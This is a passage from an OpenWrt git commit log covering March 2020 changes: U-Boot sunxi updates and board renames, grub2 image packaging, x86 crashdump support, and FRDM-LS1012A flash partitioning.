| | | | | | Adding U-Boot image for Olimex A64-Olinuxino. Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-sunxi: rename Sinovoip BPI M2 Plus to Bananapi M2 Plus H3Petr Štetiar2020-03-281-3/+3
| | | | | | | | | | | | | | | | | | | | | | Rename the board as done in upstream commit 268ae6548779 ("sunxi: Rename Sinovoip BPI M2 Plus to Bananapi M2 Plus H3") which backs the rename with the following reasoning: The brand Sinovoip is used for Sinovoip's original VOIP products, while the Bananapi brand is for the single board computers they produce. This has been verified by Bananapi. Rename the board from "Sinovoip BPI M2 Plus" to "Bananapi M2 Plus". For the defconfig file, all lowercase is used. To support the H5 variant of this board, the "H3" suffix is added to the defconfig name. This has to be done in order to allow building U-Boot past v2019.04 release where this change was introduced. Ref: https://github.com/openwrt/openwrt/pull/2849#discussion_r396401489 Suggested-by: Pawel Dembicki <paweldembicki@gmail.com> Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-sunxi: Banana Pi M2 Ultra switch to mainline defconfigAleksander Jan Bajkowski2020-03-282-27/+2
| | | | | | U-boot also have defconfig for this board. In 2019.01 branch they are identical. Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
* uboot-sunxi: bump to 2020.01Petr Štetiar2020-03-2813-103/+23
| | | | | | | | | Refreshed patches, removed following, probably obsolete patches: 221-compatible-old-dtc.patch 240-sun50i-h5-Orange-Pi-Zero-Plus-Fix-SdCard-detection.patch Signed-off-by: Petr Štetiar <ynezz@true.cz>
* x86/grub2: move grub2 image creation to packagePaul Spooren2020-03-212-0/+32
| | | | | | | | | | | Let the grub2 package take care of creating installable grub2 images, this will allow creating grub2 images without first calling x86 image generation recipe. Also as side effect, since those images are now shared, it'll reduce the number of calling grub-mkimage. Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl> [rebase, adjusted commit title] Signed-off-by: Paul Spooren <mail@aparcar.org>
* x86: make crashdump worksChen Minqiang2020-03-203-1/+29
| | | | | | | | | | | | | | | 1. KERNEL_CRASH_DUMP should depends on KERNEL_PROC_KCORE (kexec use it) 2. select crashkernel mem size by totalmem mem <= 256M disable crashkernel by default mem >= 4G use 256M for crashkernel mem >= 8G use 512M for crashkernel default use 128M 3. set BOOT_IMAGE in kdump.init 4. resolve a "Unhandled rela relocation: R_X86_64_PLT32" error Tested on x86_64 Signed-off-by: Chen Minqiang <ptpt52@gmail.com>
* layerscape: ls1012afrdm: introduce dynamic partitioningTomasz Maciej Nowak2020-03-121-2/+2
| | | | | | | | | | | | Combine fixed sizes of "kernel" and "rootfs" partitions into one partition managed by OpenWrt splitter, it will allow better management of chip capacity and less maintenance burden when compiled kernel image will outgrow allocated size for kernel partition. This also changes kernel image format, since splitter only manages kernel and rootfs partitions, the dtb needs to be updated with the kernel, so for convenience, kernel is packed to FIT image. Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
* layerscape: ls1012afrdm: convert image to squashfsTomasz Maciej Nowak2020-03-121-1/+1
| | | | | | | This commit replaces UBIFS root partition with squashfs+overlay. It's preparation for introducing dynamic partitioning. Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
* layerscape: resurrect support for FRDM-LS1012ATomasz Maciej Nowak2020-03-123-0/+24
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Re-add support for NXP FRDM-LS1012A, which mimics the flash layout of the rest boards supported by LSDK. 0x000000000000-0x000000100000 : "bl2" 0x000000100000-0x000000500000 : "fip" 0x000000500000-0x000000600000 : "u-boot-env" 0x000000600000-0x000000a00000 : "reserved-1" 0x000000a00000-0x000000d00000 : "pfe" 0x000000d00000-0x000000f00000 : "reserved-2" 0x000000f00000-0x000001000000 : "dtb" 0x000001000000-0x000002000000 : "kernel" 0x000002000000-0x000004000000 : "ubifs" Specification SoC: LS1012A single core 800MHz RAM: 512 MB DDR3 Flash: 64 MB QSPI NOR Ethernet: 2x 10/100/1000 Mbps Connectors: µUSB 3.0 OTG µUSB 2.0 (debugging & power input) 2x 3.5mm jack for microphone & headphone (SGTL5000) Arduino Shield expansion with I2C, SPI, UART, and GPIO JTAG LEDS: 3x (non-configurable) Buttons: 1x (reset, non-configurable) Be advised that erasing or writing 64MB flash takes some time to finish. Do not reset the board until all operations end with success, otherwise You'll need external tools to re-program the flash chip. Installation Follow the QSPI programing procedure for LS1012AFRWY board in target/linux/layerscape/README, point 3.3. Don't forget about updating U-Boot environment with MAC addresses of ethernet interfaces, variable 'ethaddr' for eth0 and 'eth1addr' for eth1. As the LSDK images do not support sysupgrade, nor do changes in this commit, it's planed in upcoming submissions. Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>